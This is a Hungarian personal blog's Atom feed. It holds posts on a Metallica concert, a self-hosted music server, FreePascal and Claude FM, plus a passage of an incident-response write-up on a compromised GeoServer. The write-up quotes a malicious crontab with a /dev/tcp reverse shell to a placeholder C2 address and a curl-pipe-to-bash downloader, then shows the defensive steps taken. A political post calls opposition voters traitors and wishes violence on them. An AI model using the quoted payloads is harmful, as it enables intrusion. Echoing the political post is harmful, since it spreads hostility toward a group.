<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://falu.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://falu.github.io/" rel="alternate" type="text/html" /><updated>2026-06-15T18:45:56+00:00</updated><id>https://falu.github.io/feed.xml</id><title type="html">Falu:Me</title><subtitle>Falu:Me</subtitle><author><name>Falu</name></author><entry><title type="html">Metallica 2026 Budapest</title><link href="https://falu.github.io/2026/06/15/metallica-2026-budapest.html" rel="alternate" type="text/html" title="Metallica 2026 Budapest" /><published>2026-06-15T06:46:29+00:00</published><updated>2026-06-15T06:46:29+00:00</updated><id>https://falu.github.io/2026/06/15/metallica-2026-budapest</id><content type="html" xml:base="https://falu.github.io/2026/06/15/metallica-2026-budapest.html"><![CDATA[<p>Do You want heavy?</p>

<!--more-->

<p><img width="100%" alt="M72 World Tour" src="https://github.com/user-attachments/assets/1a1be4a1-2aeb-4972-8bbe-66359ae105c2" /></p>

<p>Metallica gives You heavy!</p>

<p>No kérem, ismét Magyarországon járt a világ egyik legnagyobb hatású metalzenekara, a Metallica, ráadásul a M72 World Tour egyik európai állomásaként két teltházas koncertet is lenyomtak a Puskás Arénában. Egyet csütörtökön és egyet szombaton. Természetesen mind a kettőn ott voltam. Két este, két teljesen különböző élmény – és bevallom, már hetekkel előtte úgy számoltam vissza a napokat, mint egy gyerek karácsony előtt.</p>

<p>A budapesti hétvége az M72 turné egyik legnépszerűbb elemét, a „No Repeat Weekend” koncepciót követte. Ennek lényege, hogy a két koncerten egyetlen szám sem ismétlődik. Ez nemcsak a setlistekre vonatkozik, hanem az előzenekarokra is. Az első estén az Avatar és a Pantera melegítette be a közönséget, míg a másodikon a Knocked Loose és a Gojira lépett színpadra. Ez a felállás önmagában is dícséretes: a zenekar nem a kényelmes, bejáratott rutint hozza el kétszer, hanem tényleg ad valamit azoknak, akik mindkét estére megveszik a jegyet.</p>

<p>Annak ellenére, hogy a <strong>72 Seasons</strong> turnéról van szó, mindkét napon csak két-két számot játszottak erről az albumról. Ennyi bőven elég is volt. Ahogy engem sem, úgy láthatóan másokat sem hoztak lázba ezek a nóták. Biztos, hogy jók, csak még szokni kell – ahogy annak idején szinte minden Metallica-lemezt meg kellett szokni, mire a helyükre kerültek a fejben. Az igazi tombolás, őrület a „régi” számok alatt volt. Az első nap is odabaszott, de a második setlist nekem valahogy jobban bejött. Főleg a második fele, ahol szinte egymás után jöttek azok a klasszikusok, amikért az ember évtizedek óta szereti ezt a bandát.</p>

<p>A turné egyik leglátványosabb eleme a kör alakú, 360 fokos színpadkialakítás. A zenekar a stadion közepén helyezkedik el, így a nézők minden irányból közel érezhetik magukat a koncerthez – nincs többé „rossz oldal”, ahonnan csak a zenekar hátát látni. A legendás Snake Pit zóna ezúttal is a színpad közepén kapott helyet, ami különleges élményt biztosított a szerencsés rajongóknak. A színpad fölött 8 db óriási, henger alakú kivetítő gondoskodott a vizualizációról és arról, hogy a lelátó tetejéről is jól lehessen látni, hogy mi történik odalent. Ez a fajta elrendezés egy ekkora stadionban tényleg kihozza azt a maximumot, ami egyáltalán kihozható.</p>

<p>Lars négy külön dobcuccon játszott, úgy, hogy amikor lement egy szekció, a cucc lement a színpad alá, egy másik pedig egy negyed körrel arrébb feljött. Ha jól tudom, ez az ő saját ötlete volt, mivel így kb. olyan, mintha ő is körbe-körbe mászkálna a színpadon, ahogy a többiek teszik. Igen, a One végén megvolt a legendás dupla lábdob téma – és igen, pontosan az a pillanat volt, amire mindenki várt.</p>

<p><img width="100%" alt="jegy" src="https://github.com/user-attachments/assets/9f95c188-6fa3-4b6c-bb93-16924edfab72" /></p>

<p>Első nap kicsit későn sikerült érkezni, így a Panteráról lemaradtam. Ezt máig bánom, de hát az autópálya és a parkolás nem mindig játszik az ember kezére. A második napon viszont már siettem, hogy a Gojirát is lássam. Na hát ez valami borzalmasan volt hangosítva, ugyanis az énekhangból és a gitártémákból alig lehetett kivenni valamit, mert a basszus és a dob mindent elnyomott. Jó oké, az előzenekarok sosem kapják meg a max hangosítást, de azért oda lehetett volna figyelni – egy Gojira kaliberű zenekar ennél jobbat érdemelt volna.</p>

<p>Egyébként – bárki, bármit is mond – az Arénának fos az akusztikája. Nem hiszem el, hogy a tervezésnél nem lehetett volna figyelembe venni, hogy itt bizony nemcsak sportesemények lesznek, hanem koncerthelyszín is lesz egyben. Egy ekkora beruházásnál ez nem holmi apró részlet, hanem alapvető szempont kellett volna, hogy legyen. De sebaj – a Metallica még egy rossz akusztikájú betondobozban is képes akkorát szólni, hogy az ember hazafelé is a fülében hallja a riffeket.</p>

<p>Két este, négy előzenekar, egyetlen ismétlés nélkül – ezért érdemes élőben Metallicát nézni.</p>]]></content><author><name>Falu</name></author><category term="Zene" /><category term="Metallica" /><summary type="html"><![CDATA[Do You want heavy?]]></summary></entry><entry><title type="html">Tudjuk kik vagytok</title><link href="https://falu.github.io/2026/06/13/tudjuk-kik-vagytok.html" rel="alternate" type="text/html" title="Tudjuk kik vagytok" /><published>2026-06-13T06:52:59+00:00</published><updated>2026-06-13T06:52:59+00:00</updated><id>https://falu.github.io/2026/06/13/tudjuk-kik-vagytok</id><content type="html" xml:base="https://falu.github.io/2026/06/13/tudjuk-kik-vagytok.html"><![CDATA[<p>Ti vagytok a felelősök</p>

<!--more-->

<p><img src="/assets/images/91bd252416c34030a264bb598df9247a.jpg" alt="" /></p>

<p>Ami most jön, azért ti vagytok felelősök, akik változást akarjátok. Ti akiket beszopattak azzal, hogy Orbán maga sátán. Ezt olyan módon be is nyaltátok, hogy ezt a nyilvánvalóan őrültet szavaztátok a helyére.</p>

<p>Hogyan fogtok elszámolni a lelkiismeretetekkel amikor jönnek a hírek, hogy pl. felgyújtottak egy templomot, megerőszakoltak egy kislányt, kivégeztek egy idős bácsit?</p>

<p>Tudjuk kik vagytok! Lelkiismeret nélküli hazaárulók vagytok mindannyian! Nem lesz mentség, felelni fogtok mindenért. Nem bújhattok el amögé, hogy ezt akarta a nêp, meg hogy ez a demokrácia.</p>

<p>Az van ugyanis, hogy akárhogy is számoljátok, a többség nem szavazott rátok.</p>

<p>Feláldoztatok egy békés, biztonságos országot a bosszú oltárán.</p>

<p>Erre nincs semmilyen mentség.</p>

<p>Nem akarom, hogy bárkivel is ilyen történjen, de ha mégis ez lesz, akkor nagyon remélem, hogy ti lesztek az elsők, akik ebben az “áldásban” részesülnek majd.</p>]]></content><author><name>Falu</name></author><category term="Politika" /><category term="Migráció" /><summary type="html"><![CDATA[Ti vagytok a felelősök]]></summary></entry><entry><title type="html">Házi Spotify</title><link href="https://falu.github.io/2026/06/09/hazi-spotify.html" rel="alternate" type="text/html" title="Házi Spotify" /><published>2026-06-09T20:34:38+00:00</published><updated>2026-06-09T20:34:38+00:00</updated><id>https://falu.github.io/2026/06/09/hazi-spotify</id><content type="html" xml:base="https://falu.github.io/2026/06/09/hazi-spotify.html"><![CDATA[<p>Egy történet arról, hogyan lett a beragadt Spotify-rádióból saját, önállóan üzemeltetett zenei szerver — avagy hogyan vettem vissza az irányítást a zenehallgatás felett?</p>

<!--more-->

<p><img width="100%" alt="image" src="https://github.com/user-attachments/assets/a2082783-dce0-459b-ace7-1a4115b98e03" /></p>

<h2 id="ahol-minden-elkezdődött-a-beragadt-rádió">Ahol minden elkezdődött: a beragadt rádió</h2>

<p>Mostanában sokat autózom, és vezetés közben kényelmes megoldás kellett a zenehallgatásra. Évekig a Spotify volt erre a kézenfekvő válasz elindítok pl. egy Tool rádiót, és megy magától. Csakhogy egy idő után feltűnt, hogy a “rádió” nem igazán rádió: nagyjából ugyanazt az ötven számot pörgeti véletlen sorrendben, újdonság alig kerül be. Ja és tök mindegy, hogy Tool vagy Metallica rádiót indítok, ugyanazok vannak mindkettőben. A Daily Mix és a Discover Weekly meg tele van olyan zenekarokkal, amiknek a felét egy perc után lekapcsolom.</p>

<p>Az igazság az, hogy a Spotify algoritmusa a hallgatási szokásaidhoz idomul, és ha mindig ugyanúgy hallgatsz, egyre szűkebb körben forog. Egy idő után rájöttem, hogy ez engem zavar és nem akarom, hogy egy algoritmus döntse el helyettem, mit hallgatok, és főleg nem akarok ezért havidíjat fizetni.</p>

<p>Régen, amikor kevesebbet utaztam, munka közben a saját NAS-omról megosztott hallgattam a zenét, desktop klienssel. Az volt az igazi: a saját gyűjteményem, a saját ízlésem, semmi ajánlóalgoritmus. Felmerült a kérdés: miért ne lehetne ezt mobilon is, autóban is?</p>

<h2 id="a-terv-saját-zenei-szerver-a-nas-on">A terv: saját zenei szerver a NAS-on</h2>

<p>A célom egyszerű volt:</p>

<ul>
  <li>a saját zenei gyűjteményem elérése mobilról, bárhonnan, Android Auton keresztül az autóban,</li>
  <li>last.fm scrobble, mert a statisztikát szeretem,</li>
  <li>és mindezt biztonságosan, anélkül hogy bármit kinyitnék a routeren a netre.</li>
</ul>

<p>A gyári NAS-appok (DS audio és társaik) ezt csak félig-meddig tudják, és elég kezdetlegesek. A self-hosted streaming szerver + rendes kliens kombó viszont sokkal jobb élményt ad.</p>

<p>A hardver adott volt: egy <strong>Asustor AS4004T</strong> (ARM-alapú, 2 GB RAM). Nem egy erőgép, de a választott szerver elenyésző erőforrást igényel.</p>

<h2 id="a-három-építőelem">A három építőelem</h2>

<h3 id="navidrome--a-szerver">Navidrome – a szerver</h3>

<p>A <a href="https://www.navidrome.org/">Navidrome</a> ma gyakorlatilag a de facto választás a self-hosted zenei streamelésre. Go-ban íródott, könnyű, gyors, Docker-image formájában fut bármilyen NAS-on, és ami a lényeg: <strong>Subsonic API-kompatibilis</strong>, ezért rengeteg jó mobilkliens létezik hozzá. Beépített last.fm (és ListenBrainz) scrobble támogatással is jön.</p>

<p>Mivel az SSH-t biztonsági okokból letiltottam a NAS-on (egy korábbi szerver-incidens után ez nálam alapelv lett), a teljes telepítést grafikusan, <strong>Portainer</strong>-rel oldottam meg. Az App Centralból feltettem a Docker Engine-t és a Portainer CE-t, majd a Portainer <strong>Stacks</strong> funkciójával egy docker-compose-t illesztettem be:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">navidrome</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">deluan/navidrome:latest</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">navidrome</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4533:4533"</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">ND_SCANSCHEDULE</span><span class="pi">:</span> <span class="s">1h</span>
      <span class="na">ND_LOGLEVEL</span><span class="pi">:</span> <span class="s">info</span>
      <span class="na">ND_SESSIONTIMEOUT</span><span class="pi">:</span> <span class="s">24h</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">/volume1/Docker/navidrome/data:/data</span>
      <span class="pi">-</span> <span class="s">/volume1/Music:/music:ro</span>
</code></pre></div></div>

<p>Két dologra érdemes figyelni: a zenei mappa útvonalát a NAS tényleges megosztásneveihez kell igazítani (a File Explorerben ellenőrizhető), a <code class="language-plaintext highlighter-rouge">:ro</code> pedig azt jelenti, hogy a Navidrome csak olvassa a zenét – ez biztonsági szempontból jó, érdemes rajta hagyni.</p>

<p>Deploy után a böngészőből a <code class="language-plaintext highlighter-rouge">http://&lt;NAS-IP&gt;:4533</code> címen jött a kezdő admin-fiók beállítása, majd a szerver szépen elkezdte beszkennelni a gyűjteményemet. Az ARM CPU-n az első scan eltart egy darabig, de utána már csak inkrementálisan dolgozik.</p>

<h3 id="tailscale--a-biztonságos-elérés">Tailscale – a biztonságos elérés</h3>

<p>Hogy autóban, mobilneten is elérjem a NAS-t, kellett valamilyen kapcsolat kívülről. A klasszikus út a DDNS + portforward lenne, de ezt szándékosan kerültem: nem akarok portot nyitni a netre. Helyette a <strong><a href="https://tailscale.com/">Tailscale</a></strong> jött, ami egy WireGuard-alapú mesh VPN.</p>

<p>A lényege, hogy a gépeid (a NAS és a telefon) egy privát hálózatba (tailnet) kerülnek, mindegyik kap egy fix <code class="language-plaintext highlighter-rouge">100.x.y.z</code> címet, és úgy érik el egymást, mintha egy LAN-on lennének <strong>portnyitás nélkül</strong>. Az Asustornál van rá natív App Central-os csomag, szóval szintén grafikusan, terminál nélkül telepíthető.</p>

<p>Egy fontos tanulság a setup közben: az első indítás után a NAS Tailscale-kliense egyszer kiesett a kapcsolatból (az admin felületen szürke pötty jelezte), és emiatt nem tudtam csatlakozni. Újraindítás és újbóli bejelentkezés után rendben volt. Hogy ez ne ismétlődjön hónapok múlva, a Tailscale admin felületén (Machines → a NAS sora → <code class="language-plaintext highlighter-rouge">...</code> → <strong>Disable key expiry</strong>) kikapcsoltam a kulcs lejáratát a NAS-ra. Így nem fog magától “kiesni” egy idő után.</p>

<h3 id="symfonium--a-kliens">Symfonium – a kliens</h3>

<p>A kliens oldalon a <strong><a href="https://symfonium.app/">Symfonium</a></strong> (Android, fizetős, pár euró) lett a befutó, és bőven megérte. Subsonic-kompatibilis, így problémamentesen csatlakozik a Navidrome-hoz. A beállítás: a szerver típusa Subsonic, a cím a NAS Tailscale-IP-je (<code class="language-plaintext highlighter-rouge">http://100.x.y.z:4533</code>), majd a Navidrome-ban létrehozott felhasználónév és jelszó.</p>

<p>Amit a Symfonium tud, és amiért a gyári app meg sem közelíti:</p>

<ul>
  <li><strong>Android Auto</strong> támogatás – ez volt a kulcs, hiszen a Spotify-t is így hallgattam a kocsiban.</li>
  <li><strong>Gapless lejátszás, ReplayGain</strong>, és minden, amit egy igényes lejátszótól elvársz.</li>
  <li><strong>Offline letöltés</strong> is van benne, ha mégis kellene – nálam ritkán fordul elő, hogy ne lenne net az úton, úgyhogy alapból streamelek a NAS-ról, de jó tudni, hogy a lehetőség adott.</li>
</ul>

<h2 id="a-lastfm-kérdés-itt-jött-a-pano-scrobbler">A last.fm-kérdés: itt jött a Pano Scrobbler</h2>

<p>A scrobble volt az utolsó hiányzó láncszem, és itt akadtam el. Elvileg a Symfonium tud last.fm scrobble-t, de nem tudtam beállítani.</p>

<p>A megoldás végül egy <strong>dedikált scrobbler-app</strong>: a <strong><a href="https://github.com/kawaiiDango/pano-scrobbler">Pano Scrobbler</a></strong> lett. Ez nem a Symfonium belső logikájára támaszkodik, hanem az Android <strong>media-session</strong> alapján figyeli, mi szól éppen, és önállóan küldi a scrobble-t a last.fm-re. Mivel a Symfonium media-sessiont használ (ez alapból be van kapcsolva), a Pano gond nélkül “kihallja” belőle a lejátszást.</p>

<p>A beállítás egyszerű: telepíted a Pano Scrobblert, bejelentkeztetek a last.fm-fiókoddal, az alkalmazáslistában engedélyezed a Symfoniumot, és onnantól ami a Symfoniumban szól, az felkerül a last.fm-re. Fontos: ha a Pano-t használod scrobblerként, a Symfonium saját last.fm-összekötését hagyd kikapcsolva, különben dupla scrobble lenne belőle. Streamelésnél ez stabilan működik, és az első időkben azért érdemes ránézni a profilodra, hogy tényleg minden felkerül-e.</p>

<h2 id="az-eredmény">Az eredmény</h2>

<p>A teljes lánc tehát:</p>

<p><strong>saját NAS → Navidrome → Tailscale → Symfonium → Android Auto → Pano Scrobbler → last.fm</strong></p>

<p>Pontosan az az élmény, ami a desktop lejátszókkal megvolt/megvan munka közben, csak most mobilon, az autóban is Android Auton keresztül, bárhonnan. Ahogy korábban a Spotify-t is ezen át hallgattam, csak most a saját gyűjteményemet streamelem a NAS-omról – a saját ízlésem, semmi ajánlóalgoritmus, semmi havidíj –, és mindezt biztonságosan, a netre nyitott port nélkül.</p>

<p>Pár dolog, amit érdemes az elején elintézni a tartós nyugalomért: a Tailscale key expiry kikapcsolása a NAS-on, az automatikus indítás ellenőrzése (hogy újraindítás után magától visszajöjjön), a NAS energiagazdálkodásának áttekintése (hogy ne aludjon el a szerver), és persze egy rendes, erős jelszó a teszteléshez használt ideiglenes helyett.</p>

<p><img src="/assets/images/zenei-stack-architektura.svg" alt="A zenei stack architektúrája" /></p>

<p>Az első beállítás kicsit döcögős volt – ez a self-hosting velejárója –, de utána ez egy “beállítom és elfelejtem” rendszer lett.</p>

<p>🤘</p>]]></content><author><name>Falu</name></author><category term="Zene" /><category term="Linux" /><category term="Android" /><category term="Docker" /><category term="Navidrome" /><category term="Tailscale" /><category term="Subsonic" /><category term="Last.fm" /><category term="NAS" /><summary type="html"><![CDATA[Egy történet arról, hogyan lett a beragadt Spotify-rádióból saját, önállóan üzemeltetett zenei szerver — avagy hogyan vettem vissza az irányítást a zenehallgatás felett?]]></summary></entry><entry><title type="html">Claude FM – zene gondolkodáshoz és kódoláshoz</title><link href="https://falu.github.io/2026/06/04/claude-fm.html" rel="alternate" type="text/html" title="Claude FM – zene gondolkodáshoz és kódoláshoz" /><published>2026-06-04T08:00:00+00:00</published><updated>2026-06-04T08:00:00+00:00</updated><id>https://falu.github.io/2026/06/04/claude-fm</id><content type="html" xml:base="https://falu.github.io/2026/06/04/claude-fm.html"><![CDATA[<p>Egy élő stream, ami csak hagy dolgozni.
A Claude FM az Anthropic által indított 24/7 órás lofi és ambient zenei élő közvetítés a YouTube-on. Elsősorban háttérzenének és fókuszáláshoz tervezték, a dalok címei pedig folyamatosan láthatóak a stream felületén.</p>

<!--more-->

<p><a href="https://clau.de/radio" target="_blank">
  <img width="100%" alt="image" src="https://github.com/user-attachments/assets/6971eadd-02bf-453a-9d23-4cf7df2f5591" />
</a></p>

<p>Van egy műfaj, amit ritkán szokás komolyan venni: a háttérzene. Pedig aki napi nyolc órát tölt kód, szkript vagy egy makacs algoritmus társaságában, az tudja, hogy a rossz zene ugyanúgy elvonja a figyelmet, mint a csend hiánya. Az Anthropic most csinált ehhez egy saját adót: a <strong>Claude FM</strong>-et.</p>

<h2 id="mi-ez-pontosan">Mi ez pontosan?</h2>

<p>Egy folyamatos, élő YouTube-stream. A mottója kerek: <em>music for thinking and building</em> - zene gondolkodáshoz és kódolshoz. A koncepció nem bonyolult: megnyomod a lejátszást, és dolgozol tovább. A zenét nem algoritmus köpte ki, hanem zenészek készítették és válogatták.</p>

<p>Elérhető rövid linken: <a href="https://clau.de/radio">clau.de/radio</a></p>

<h2 id="miért-működik-ez-munka-közben">Miért működik ez munka közben?</h2>

<p>A trükk az, amit <em>nem</em> csinál. Nincs benne dalszerkezet, ami után kapna a füled. Nincs refrén, amit elkezdenél dúdolni a harmadik ismétlésnél. Nincs szöveg, ami a nyelvi agyterületeidért versenyezne azzal, amit éppen írsz vagy olvasol. Marad egy folyam, ami betölti a teret, de nem kér semmit cserébe.</p>

<p>Ez pont az ellentéte annak, amihez az ember szórakozásból nyúl. Egy rendes album arra van kitalálva, hogy figyelj rá. A Claude FM arra, hogy elfelejtsd, hogy szól.</p>

<h2 id="kinek-való">Kinek való?</h2>

<p>Annak, aki “deep work” üzemmódban dolgozik: programozás, írás, bármi, ami megszakítatlan koncentrációt kíván. Mivel élő stream, nincs playlist-menedzsment, nincs “mi legyen a következő” döntés - csak megy.</p>

<p>Egy figyelmeztetés a metálos népnek: ez nem a Pantera. Ha a munkához is erősítő kell, ez csalódás lesz. De érdemes szétválasztani a két funkciót: a metál a motivációhoz, a vér felpörgetéséhez jó. Ez a koncentrációhoz. Más üzemmód, más eszköz.</p>

<h2 id="megéri-kipróbálni">Megéri kipróbálni?</h2>

<p>Egy kattintás, nulla telepítés, nulla fiók. Ha a következő melónál úgyis kell valami a háttérbe, ennél olcsóbban nem fogsz kísérletezni. Vagy bejön, vagy nem - de a belépési költség gyakorlatilag nulla.</p>]]></content><author><name>Falu</name></author><category term="Claude" /><category term="FM" /><category term="AI" /><category term="Rádió" /><category term="Zene" /><category term="Programozás" /><summary type="html"><![CDATA[Egy élő stream, ami csak hagy dolgozni.]]></summary></entry><entry><title type="html">FreePascal 2026-ban?</title><link href="https://falu.github.io/2026/06/03/freepascal-2026-ban.html" rel="alternate" type="text/html" title="FreePascal 2026-ban?" /><published>2026-06-03T16:41:40+00:00</published><updated>2026-06-03T16:41:40+00:00</updated><id>https://falu.github.io/2026/06/03/freepascal-2026-ban</id><content type="html" xml:base="https://falu.github.io/2026/06/03/freepascal-2026-ban.html"><![CDATA[<p>Minden évben jön egy új “ez majd mindent megold” nyelv</p>

<!--more-->

<p><a href="https://github.com/user-attachments/assets/b0434f70-dc1f-4d0f-8d7e-653d1a2ba6ab">
  <img width="100%" alt="Lazarus IDE" src="https://github.com/user-attachments/assets/b0434f70-dc1f-4d0f-8d7e-653d1a2ba6ab" />
</a></p>

<p>Idén is tele a Hacker News meg a Reddit a Rusttal, a Pyhtonnal és a Góval. Én meg itt ülök, és egy érett, több tízezer soros desktop alkalmazást fejlesztek FreePascalban - és nem érzem, hogy lemaradtam volna bármiről. Azt is megmondom, hogy miért.</p>

<h2 id="olyan-nyelv-ami-nem-akar-állandóan-tanítani">Olyan nyelv, ami nem akar állandóan tanítani</h2>

<p>A Pascal szintaxisa jól olvasható, explicit, és nem változik félévente. Amit öt éve írtam, az ma is fordul. Nincs “edition”, nincs breaking change minden minor verzióban. A kód, amit írok, az enyém marad - nem kell utánaszaladni a nyelvnek.</p>

<h2 id="lazarus-az-ide-amit-nem-kell-összerakni">Lazarus: az IDE, amit nem kell összerakni</h2>

<p>A Rust/Go világban a tooling sokszor “összerakós”: szerkesztő + plugin + debugger, mindenki a saját ízlése szerint. A Lazarus egy komplett RAD környezet dobozból. Form designer, integrált debugger, cross-compilation - működik. Egy desktop GUI app nálam órák, nem hetek kérdése.</p>

<h2 id="egyetlen-self-contained-bináris-futásidejű-függőség-nélkül">Egyetlen self-contained bináris, futásidejű függőség nélkül</h2>

<p>Lefordítom, és kapok egy natív futtathatót. Nincs runtime, nincs “telepítsd hozzá ezt a 200 MB-ot”. A felhasználó letölti, elindítja, kész. Bárki, aki valaha támogatott ügyfélnél futó szoftvert, tudja, mennyit ér ez.</p>

<p>Oké, ebben van egy kis ferdítés, ugyanis csak Windows alatt nem függ a keretrendszertől. A Linux az más tészta. A GUI appokhoz alapból gtk2-t használ, ami őszintén szólva már nem számít modern widhetsetnek, ezért előfordulhat, hogy újabb disztrókon kissé retró megjelenésűek ezek a programok. A gtk3 támogatás ott tart, hogy úgy lett gtk4, hogy a Lazarus még a gtk3-at nem támogatja teljes körűen. Állítólag qt5 meg a qt6 szépen megy, de azt meg én nem kedvelem. A Linux desktop fragmentálsága GUI app fejlesztői szempontból megérne egy külön posztot.</p>

<h2 id="valódi-cross-platform-fájdalom-nélkül">Valódi cross-platform, fájdalom nélkül</h2>

<p>Ugyanaz a kódbázis fordul Linuxon, Windowson és macOS-en. A saját bőrömön tapasztaltam, hogy ez mennyivel kevesebb szívás, mint amire számítottam.</p>

<h2 id="teljesítmény-amiért-nem-kell-megküzdeni">Teljesítmény, amiért nem kell megküzdeni</h2>

<p>Natívra fordul, és gyors. Nagy adathalmazok, számításigényes algoritmusok, valós idejű feldolgozás — nem a nyelv a szűk keresztmetszet. És amikor tényleg számít a sebesség vagy a memóriaigény, ott a pointer és a manuális kontroll - anélkül, hogy a borrow checker minden sorba beleszólna.</p>

<h2 id="stabilitás-mint-feature">Stabilitás mint feature</h2>

<p>A Pascal “unalmas”. Ez a legnagyobb dicséret, amit adhatok neki. Nem kell a nyelv divatját követni; lehet a problémára koncentrálni. Egy üzleti termék mögött ez az igazi érték: tíz év múlva is karbantartható lesz.</p>

<h2 id="rust-python-go">Rust, Python, Go?</h2>

<p>Hogy fair legyek: a Rust memóriabiztonsága zseniális rendszerszintű kódhoz, és tényleg írtam benne számításigényes programokat - élveztem. A Go a konkurens hálózati szolgáltatásokban verhetetlen. A Python pedig adatfeldolgozásra, prototípusozásra, gyors scriptelésre továbbra is utolérhetetlen. Egyik sem rossz nyelv. Csak nem minden probléma rendszerprogramozás, felhőszolgáltatás vagy egyszeri script. Egy asztali, számításigényes, hosszú életű alkalmazáshoz a FreePascal nálam ma is a racionális választás — nem nosztalgiából, hanem mérnöki döntésből.</p>

<p>Itt jut eszembe, miért is értékelem annyira a Pascal stabilitását. A Python 2-ről 3-ra való átállás évekig tartó fejfájás volt: a <code class="language-plaintext highlighter-rouge">print</code> utasításból függvény lett, a stringkezelés (str vs. unicode) a feje tetejére állt, az egész osztás máshogy működött, a <code class="language-plaintext highlighter-rouge">dict</code> metódusok visszatérési értéke megváltozott. Régi kódbázisok éveken át ragadtak a 2-esen, miközben a 3-as körül épült az új ökoszisztéma. Aki átélte, az tudja: egy néhány soros script átírása még megvolt, de egy nagy, élő alkalmazás migrálása komoly projekt volt - tesztekkel, <code class="language-plaintext highlighter-rouge">2to3</code>-mal, és sok káromkodással. Pont az ilyen törések miatt értékelem, hogy a Pascalban a tíz éve írt kódom ma is változtatás nélkül fordul.</p>

<hr />

<p>A hype elmúlik. A kód marad. Én olyan eszközt akarok, ami tíz év múlva is ott lesz, fordul, és nem kér tőlem cserébe semmit. 2026-ban ez nekem a FreePascal + Lazarus.</p>]]></content><author><name>Falu</name></author><category term="FreePascal" /><category term="Lazarus" /><category term="Programozás" /><summary type="html"><![CDATA[Minden évben jön egy új “ez majd mindent megold” nyelv]]></summary></entry><entry><title type="html">Egy GeoServer-betörés anatómiája</title><link href="https://falu.github.io/2026/06/01/egy-geoserver-betores-anatomiaja.html" rel="alternate" type="text/html" title="Egy GeoServer-betörés anatómiája" /><published>2026-06-01T19:59:28+00:00</published><updated>2026-06-01T19:59:28+00:00</updated><id>https://falu.github.io/2026/06/01/egy-geoserver-betores-anatomiaja</id><content type="html" xml:base="https://falu.github.io/2026/06/01/egy-geoserver-betores-anatomiaja.html"><![CDATA[<p>Minden egy ártalmatlannak tűnő logfájllal kezdődött.</p>

<!--more-->

<p><img src="https://github.com/user-attachments/assets/548f8015-741e-4f54-8045-bcf27f467c46" alt="linux/malware" /></p>

<p>Az <code class="language-plaintext highlighter-rouge">auth.log</code> percenként ismétlődő sorokkal volt tele:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CRON[xxxx]: pam_unix(cron:session): session opened for user tomcat8 by (uid=0)
CRON[xxxx]: pam_unix(cron:session): session closed for user tomcat8
</code></pre></div></div>

<p>Első ránézésre ez teljesen normális: ha egy felhasználónak van percenként futó cron-jobja, a PAM minden futáshoz logol egy <code class="language-plaintext highlighter-rouge">opened</code>/<code class="language-plaintext highlighter-rouge">closed</code> párt. A <code class="language-plaintext highlighter-rouge">(uid=0)</code> is csak annyit jelent, hogy a cron démon (root) indítja a jobot az adott felhasználó nevében. Semmi vészjósló.</p>

<p>Aztán megnéztem, mi az a percenként futó job.</p>

<h2 id="a-pillanat-amikor-a-gyomrom-összeszorult">A pillanat, amikor a gyomrom összeszorult</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crontab <span class="nt">-u</span> tomcat8 <span class="nt">-l</span>
</code></pre></div></div>

<p>A kimenet önmagáért beszélt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* * * * * bash -c 'bash -i &gt;&amp; /dev/tcp/&lt;C2-IP&gt;/4444 0&gt;&amp;1'
* * * * * /tmp/.XIN-unix/&lt;binary&gt; || curl -sL &lt;IP&gt;/setup | bash
* * * * * /tmp/test.sh
</code></pre></div></div>

<p>Három klasszikus rosszindulatú minta egy helyen:</p>

<ul>
  <li><strong>Reverse shell</strong> — percenként megpróbál visszacsatlakozni a támadó gépére, és teljes parancssort adni neki.</li>
  <li><strong>Elrejtett bináris futtatása</strong> egy <code class="language-plaintext highlighter-rouge">.XIN-unix</code> nevű mappából (a legitim <code class="language-plaintext highlighter-rouge">.X11-unix</code> / <code class="language-plaintext highlighter-rouge">.ICE-unix</code> rendszermappák utánzása), tartalék letöltővel egy másik IP-ről.</li>
  <li>Egy harmadik, ismeretlen szkript.</li>
</ul>

<p>Ekkor vált világossá: a szerver kompromittált.</p>

<h2 id="az-első-szabály-ne-ess-pánikba-de-cselekedj-sorrendben">Az első szabály: ne ess pánikba, de cselekedj sorrendben</h2>

<p>Egy kompromittált gépnél a sorrend számít. A hálózati elszigetelés jön először, mert amíg a reverse shell él, a támadó valós időben tud reagálni arra, amit csinálsz.</p>

<p><strong>1. Vágd el a kifelé menő kapcsolatot.</strong> Blokkold a támadó IP-ket és a reverse shell portját:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iptables <span class="nt">-A</span> OUTPUT <span class="nt">-d</span> &lt;C2-IP&gt; <span class="nt">-j</span> DROP
iptables <span class="nt">-A</span> OUTPUT <span class="nt">-p</span> tcp <span class="nt">--dport</span> 4444 <span class="nt">-j</span> DROP
</code></pre></div></div>

<p><strong>2. Ments bizonyítékot, mielőtt bármit törölnél.</strong> A kapkodva törölt malware elemezhetetlen:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> /root/incident-evidence
crontab <span class="nt">-u</span> &lt;user&gt; <span class="nt">-l</span> <span class="o">&gt;</span> /root/incident-evidence/cron.txt
</code></pre></div></div>

<p><strong>3. Csak ezután kezdj takarítani.</strong></p>

<h2 id="a-nyomozás-mit-látsz-és-mit-jelent">A nyomozás: mit látsz, és mit jelent</h2>

<p>A következő lépés annak felmérése volt, mi fut és mihez kapcsolódik:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss <span class="nt">-tnp</span> | <span class="nb">grep </span>ESTAB
ps aux <span class="nt">--sort</span><span class="o">=</span>-%cpu | <span class="nb">head</span> <span class="nt">-20</span>
